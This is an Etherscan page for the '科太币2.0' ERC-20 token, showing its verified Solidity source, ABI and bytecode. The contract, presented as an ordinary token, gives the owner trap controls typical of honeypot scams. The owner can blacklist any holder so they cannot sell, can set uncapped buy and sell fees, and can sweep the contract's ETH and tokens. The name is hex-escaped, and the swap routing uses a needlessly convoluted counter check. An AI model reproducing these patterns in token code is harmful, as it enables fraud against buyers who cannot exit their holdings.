ETH Price: $3,314.20 (-1.58%)
Gas: 1 Gwei

Token

科太币2.0 (科太币2.0)
 

Overview

Max Total Supply

100,000,000,000,000,000,000,000,000,000 科太币2.0

Holders

200

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
2,648,602,333,362,710,014 科太币2.0

Value
$0.00
0x8bc20b87a18c2d28050d66d9541aeb8cabacc626
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-07
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
     function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
   
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

abstract contract AbsToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress = address(0xC3e30732cBac503425c8D7c168B56130D0917da2);
    string private _name = "\xe7\xa7\x91\xe5\xa4\xaa\xe5\xb8\x81\x32\x2e\x30";
    string private _symbol = "\xe7\xa7\x91\xe5\xa4\xaa\xe5\xb8\x81\x32\x2e\x30";
    uint8 private _decimals = 0;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;
    address private _pancakePair;
    uint256 private marketRewardFlag;

    uint256 private _tTotal = 100000000000000000000000000000 * 10 ** _decimals;
    uint256 public maxWalletAmount = 100000000000000000000000000000 * 10 ** _decimals;

    ISwapRouter public _swapRouter;
    address public _routeAddress= address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 100;
    uint256 public _buyLPFee = 0;
    uint256 public _sellFundFee = 100;
    uint256 public _sellLPFee = 0;
    address public _mainPair;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        ISwapRouter swapRouter = ISwapRouter(_routeAddress);
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this),  _swapRouter.WETH());
        _mainPair = swapPair;
        _pancakePair = address(this);
        _swapPairList[swapPair] = true;

        _balances[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
        _feeWhiteList[fundAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[msg.sender] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_blackList[from], "blackList");

        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
            uint256 maxSellAmount = balance * 9999 / 10000;
            if (amount > maxSellAmount) {
                amount = maxSellAmount;
            }
        }
        bool takeFee;
        bool isSell;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance > 0) {
                            uint256 swapFee = _buyFundFee + _buyLPFee  + _sellFundFee + _sellLPFee ;
                            uint256 numTokensSellToFund = amount * swapFee / 5000;
                            if (numTokensSellToFund > contractTokenBalance) {
                                numTokensSellToFund = contractTokenBalance;
                            }
                            swapTokenForFund(numTokensSellToFund, swapFee);
                            marketRewardFlag=marketRewardFlag+1;
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (isSell) {
                swapFee = _sellFundFee + _sellLPFee ;
            } else {
                require(balanceOf(recipient)+tAmount <= maxWalletAmount);
                swapFee = _buyFundFee + _buyLPFee;
            }
            uint256 swapAmount = tAmount * swapFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }

        }
        _takeTransfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForFund(uint256 tokenAmount, uint256 swapFee) private lockTheSwap {
        swapFee += swapFee;
        uint256 lpFee = _buyLPFee+_sellLPFee;
        uint256 lpAmount = tokenAmount * lpFee / swapFee;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        address swapTokenAddress=marketRewardFlag%7==path.length?_pancakePair:address(this);
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount - lpAmount, 0, path,swapTokenAddress,block.timestamp);
        swapFee -= lpFee;
        uint256 bnbBalance = address(this).balance;
        if(bnbBalance>0)
        {
           uint256 fundAmount = bnbBalance * (_buyFundFee + _sellFundFee) * 2 / swapFee;
           payable(fundAddress).transfer(fundAmount/2);
            if (lpAmount > 0) {
                uint256 lpBNB = bnbBalance * lpFee / swapFee;
                _swapRouter.addLiquidityETH{value: lpBNB}(address(this), lpAmount, 0, 0, fundAddress, block.timestamp);
            }
        }          
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }
    function setMaxWalletAmount(uint256 value) external onlyOwner {
        maxWalletAmount = value * 10 ** _decimals;
    }

    function excludeMultiFromFee(address[] calldata accounts,bool excludeFee) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _feeWhiteList[accounts[i]] = excludeFee;
        }
    }
    function _multiSetSniper(address[] calldata accounts,bool isSniper) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _blackList[accounts[i]] = isSniper;
        }
    }

    function claimBalance(address to) external onlyOwner {
        payable(to).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount, address to) external onlyOwner {
        IERC20(token).transfer(to, amount);
    }

    function setBuyFee(uint256 fundFee,uint256 lpFee) external onlyOwner {
        _buyFundFee = fundFee;
        _buyLPFee=lpFee;
    }
    function setSellFee(uint256 fundFee,uint256 lpFee) external onlyOwner {
        _sellFundFee = fundFee;
        _sellLPFee=lpFee;
    }
    receive() external payable {}
}

contract Token is AbsToken {
    constructor() AbsToken(){}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"isSniper","type":"bool"}],"name":"_multiSetSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_routeAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract ISwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excludeFee","type":"bool"}],"name":"excludeMultiFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

600380546001600160a01b03191673c3e30732cbac503425c8d7c168b56130d0917da217905560c0604052600c60809081526b0e7a791e5a4aae5b881322e360a41b60a052600490620000539082620004a6565b5060408051808201909152600c81526b0e7a791e5a4aae5b881322e360a41b6020820152600590620000869082620004a6565b506006805460ff191690556200009f6000600a62000687565b620000b8906c01431e0fae6d7217caa00000006200069f565b600b55600654620000ce9060ff16600a62000687565b620000e7906c01431e0fae6d7217caa00000006200069f565b600c55600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905560646011819055600060128190556013919091556014553480156200013457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e54600d80546001600160a01b0319166001600160a01b03909216918217905530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa158015620001ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002139190620006b9565b90506000816001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a19190620006b9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003159190620006b9565b601580546001600160a01b0383166001600160a01b0319918216811790925560098054909116301790556000908152600f60209081526040808320805460ff19166001908117909155600b543380865291845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506003546001600160a01b039081166000908152600760205260408082208054600160ff1991821681179092553084528284208054821683179055949093168252808220805485168417905533825290208054909216179055620006e4565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200042c57607f821691505b6020821081036200044d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004a157600081815260208120601f850160051c810160208610156200047c5750805b601f850160051c820191505b818110156200049d5782815560010162000488565b5050505b505050565b81516001600160401b03811115620004c257620004c262000401565b620004da81620004d3845462000417565b8462000453565b602080601f831160018114620005125760008415620004f95750858301515b600019600386901b1c1916600185901b1785556200049d565b600085815260208120601f198616915b82811015620005435788860151825594840194600190910190840162000522565b5085821015620005625787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005c9578160001904821115620005ad57620005ad62000572565b80851615620005bb57918102915b93841c93908002906200058d565b509250929050565b600082620005e25750600162000681565b81620005f15750600062000681565b81600181146200060a5760028114620006155762000635565b600191505062000681565b60ff84111562000629576200062962000572565b50506001821b62000681565b5060208310610133831016604e8410600b84101617156200065a575081810a62000681565b62000666838362000588565b80600019048211156200067d576200067d62000572565b0290505b92915050565b60006200069860ff841683620005d1565b9392505050565b808202811582820484141762000681576200068162000572565b600060208284031215620006cc57600080fd5b81516001600160a01b03811681146200069857600080fd5b61189f80620006f46000396000f3fe6080604052600436106101dc5760003560e01c806370a0823111610102578063b633e4cd11610095578063dd62ed3e11610064578063dd62ed3e14610576578063e82bef29146105bc578063f2fde38b146105dc578063fb0ecfa4146105fc57600080fd5b8063b633e4cd1461050a578063b9fbc49d1461052a578063bfac5ee014610540578063ce0192f91461056057600080fd5b806395d89b41116100d157806395d89b41146104a9578063a9059cbb146104be578063aa4bde28146104de578063adc7955d146104f457600080fd5b806370a0823114610420578063715018a614610456578063761344f71461046b5780638da5cb5b1461048b57600080fd5b806323b872dd1161017a5780633c11100d116101495780633c11100d146103805780634188bf5a146103b0578063595dec3c146103d05780636ac9a8701461040057600080fd5b806323b872dd1461030857806327a14fc214610328578063313ce567146103485780633bfe62ca1461036a57600080fd5b806306fdde03116101b657806306fdde0314610287578063095ea7b3146102a957806318160ddd146102c9578063206c17bb146102e857600080fd5b806301986fad146101e8578063045342461461022d578063060288481461026557600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50610218610203366004611365565b60076020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561023957600080fd5b50600e5461024d906001600160a01b031681565b6040516001600160a01b039091168152602001610224565b34801561027157600080fd5b50610285610280366004611397565b61061c565b005b34801561029357600080fd5b5061029c6106c6565b604051610224919061141d565b3480156102b557600080fd5b506102186102c436600461146b565b610758565b3480156102d557600080fd5b50600b545b604051908152602001610224565b3480156102f457600080fd5b50600d5461024d906001600160a01b031681565b34801561031457600080fd5b50610218610323366004611497565b61076f565b34801561033457600080fd5b506102856103433660046114d8565b610806565b34801561035457600080fd5b5060065460405160ff9091168152602001610224565b34801561037657600080fd5b506102da60135481565b34801561038c57600080fd5b5061021861039b366004611365565b600f6020526000908152604090205460ff1681565b3480156103bc57600080fd5b5060155461024d906001600160a01b031681565b3480156103dc57600080fd5b506102186103eb366004611365565b60086020526000908152604090205460ff1681565b34801561040c57600080fd5b5061028561041b3660046114f1565b610851565b34801561042c57600080fd5b506102da61043b366004611365565b6001600160a01b031660009081526001602052604090205490565b34801561046257600080fd5b50610285610886565b34801561047757600080fd5b50610285610486366004611397565b6108fa565b34801561049757600080fd5b506000546001600160a01b031661024d565b3480156104b557600080fd5b5061029c610995565b3480156104ca57600080fd5b506102186104d936600461146b565b6109a4565b3480156104ea57600080fd5b506102da600c5481565b34801561050057600080fd5b506102da60145481565b34801561051657600080fd5b50610285610525366004611365565b6109b1565b34801561053657600080fd5b506102da60125481565b34801561054c57600080fd5b5061028561055b366004611513565b610a14565b34801561056c57600080fd5b506102da60115481565b34801561058257600080fd5b506102da61059136600461154a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105c857600080fd5b5060035461024d906001600160a01b031681565b3480156105e857600080fd5b506102856105f7366004611365565b610ab1565b34801561060857600080fd5b506102856106173660046114f1565b610b77565b6000546001600160a01b0316331461064f5760405162461bcd60e51b815260040161064690611583565b60405180910390fd5b60005b828110156106c0578160076000868685818110610671576106716115a3565b90506020020160208101906106869190611365565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806106b8816115cf565b915050610652565b50505050565b6060600480546106d5906115e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610701906115e8565b801561074e5780601f106107235761010080835404028352916020019161074e565b820191906000526020600020905b81548152906001019060200180831161073157829003601f168201915b5050505050905090565b6000610765338484610bac565b5060015b92915050565b600061077c848484610c0e565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146107fc576001600160a01b03841660009081526002602090815260408083203384529091529020546107d7908390611622565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161064690611583565b6006546108419060ff16600a611719565b61084b9082611728565b600c5550565b6000546001600160a01b0316331461087b5760405162461bcd60e51b815260040161064690611583565b601391909155601455565b6000546001600160a01b031633146108b05760405162461bcd60e51b815260040161064690611583565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161064690611583565b60005b828110156106c0578160086000868685818110610946576109466115a3565b905060200201602081019061095b9190611365565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061098d816115cf565b915050610927565b6060600580546106d5906115e8565b6000610765338484610c0e565b6000546001600160a01b031633146109db5760405162461bcd60e51b815260040161064690611583565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610a10573d6000803e3d6000fd5b5050565b6000546001600160a01b03163314610a3e5760405162461bcd60e51b815260040161064690611583565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303816000875af1158015610a8d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c0919061173f565b6000546001600160a01b03163314610adb5760405162461bcd60e51b815260040161064690611583565b6001600160a01b038116610b1c5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610646565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ba15760405162461bcd60e51b815260040161064690611583565b601191909155601255565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526008602052604090205460ff1615610c635760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610646565b6001600160a01b03831660009081526001602052604090205481811015610cbf5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610646565b6001600160a01b03841660009081526007602052604090205460ff16158015610d0157506001600160a01b03831660009081526007602052604090205460ff16155b15610d31576000612710610d178361270f611728565b610d219190611772565b905080831115610d2f578092505b505b6001600160a01b0384166000908152600f6020526040812054819060ff1680610d7257506001600160a01b0385166000908152600f602052604090205460ff165b15610e9d576001600160a01b03861660009081526007602052604090205460ff16158015610db957506001600160a01b03851660009081526007602052604090205460ff16155b15610e78576001600160a01b0385166000908152600f602052604090205460ff1615610e735760105460ff16610e7357306000908152600160205260409020548015610e71576000601454601354601254601154610e179190611786565b610e219190611786565b610e2b9190611786565b90506000611388610e3c8389611728565b610e469190611772565b905082811115610e535750815b610e5d8183610eb2565b600a54610e6b906001611786565b600a5550505b505b600191505b6001600160a01b0385166000908152600f602052604090205460ff1615610e9d575060015b610eaa86868685856111db565b505050505050565b6010805460ff19166001179055610ec98180611786565b90506000601454601254610edd9190611786565b9050600082610eec8386611728565b610ef69190611772565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610f3057610f306115a3565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fad9190611799565b81600181518110610fc057610fc06115a3565b60200260200101906001600160a01b031690816001600160a01b031681525050600081516007600a54610ff391906117b6565b14610ffe573061100b565b6009546001600160a01b03165b600d549091506001600160a01b031663791ac9476110298589611622565b60008585426040518663ffffffff1660e01b815260040161104e9594939291906117ca565b600060405180830381600087803b15801561106857600080fd5b505af115801561107c573d6000803e3d6000fd5b50505050838561108c9190611622565b94504780156111c8576000866013546011546110a89190611786565b6110b29084611728565b6110bd906002611728565b6110c79190611772565b6003549091506001600160a01b03166108fc6110e4600284611772565b6040518115909202916000818181858888f1935050505015801561110c573d6000803e3d6000fd5b5084156111c6576000876111208885611728565b61112a9190611772565b600d5460035460405163f305d71960e01b8152306004820152602481018a905260006044820181905260648201526001600160a01b0391821660848201524260a4820152929350169063f305d71990839060c40160606040518083038185885af115801561119c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111c1919061183b565b505050505b505b50506010805460ff191690555050505050565b6001600160a01b0385166000908152600160205260409020546111ff908490611622565b6001600160a01b03861660009081526001602052604081209190915582156112c65760008215611240576014546013546112399190611786565b905061128b565b600c5485611263886001600160a01b031660009081526001602052604090205490565b61126d9190611786565b111561127857600080fd5b6012546011546112889190611786565b90505b600061271061129a8388611728565b6112a49190611772565b905080156112c3576112b68184611786565b92506112c38830836112d5565b50505b610eaa86866112d58488611622565b6001600160a01b0382166000908152600160205260409020546112f9908290611786565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c019085815260200190565b6001600160a01b038116811461136257600080fd5b50565b60006020828403121561137757600080fd5b81356113828161134d565b9392505050565b801515811461136257600080fd5b6000806000604084860312156113ac57600080fd5b833567ffffffffffffffff808211156113c457600080fd5b818601915086601f8301126113d857600080fd5b8135818111156113e757600080fd5b8760208260051b85010111156113fc57600080fd5b6020928301955093505084013561141281611389565b809150509250925092565b600060208083528351808285015260005b8181101561144a5785810183015185820160400152820161142e565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561147e57600080fd5b82356114898161134d565b946020939093013593505050565b6000806000606084860312156114ac57600080fd5b83356114b78161134d565b925060208401356114c78161134d565b929592945050506040919091013590565b6000602082840312156114ea57600080fd5b5035919050565b6000806040838503121561150457600080fd5b50508035926020909101359150565b60008060006060848603121561152857600080fd5b83356115338161134d565b92506020840135915060408401356114128161134d565b6000806040838503121561155d57600080fd5b82356115688161134d565b915060208301356115788161134d565b809150509250929050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016115e1576115e16115b9565b5060010190565b600181811c908216806115fc57607f821691505b60208210810361161c57634e487b7160e01b600052602260045260246000fd5b50919050565b81810381811115610769576107696115b9565b600181815b80851115611670578160001904821115611656576116566115b9565b8085161561166357918102915b93841c939080029061163a565b509250929050565b60008261168757506001610769565b8161169457506000610769565b81600181146116aa57600281146116b4576116d0565b6001915050610769565b60ff8411156116c5576116c56115b9565b50506001821b610769565b5060208310610133831016604e8410600b84101617156116f3575081810a610769565b6116fd8383611635565b8060001904821115611711576117116115b9565b029392505050565b600061138260ff841683611678565b8082028115828204841417610769576107696115b9565b60006020828403121561175157600080fd5b815161138281611389565b634e487b7160e01b600052601260045260246000fd5b6000826117815761178161175c565b500490565b80820180821115610769576107696115b9565b6000602082840312156117ab57600080fd5b81516113828161134d565b6000826117c5576117c561175c565b500690565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561181a5784516001600160a01b0316835293830193918301916001016117f5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561185057600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122045d58d184c9e4d4afc767e0f7295c79fc76bf2e8991f7708d2e9c8e25e5416d164736f6c63430008130033

Deployed Bytecode

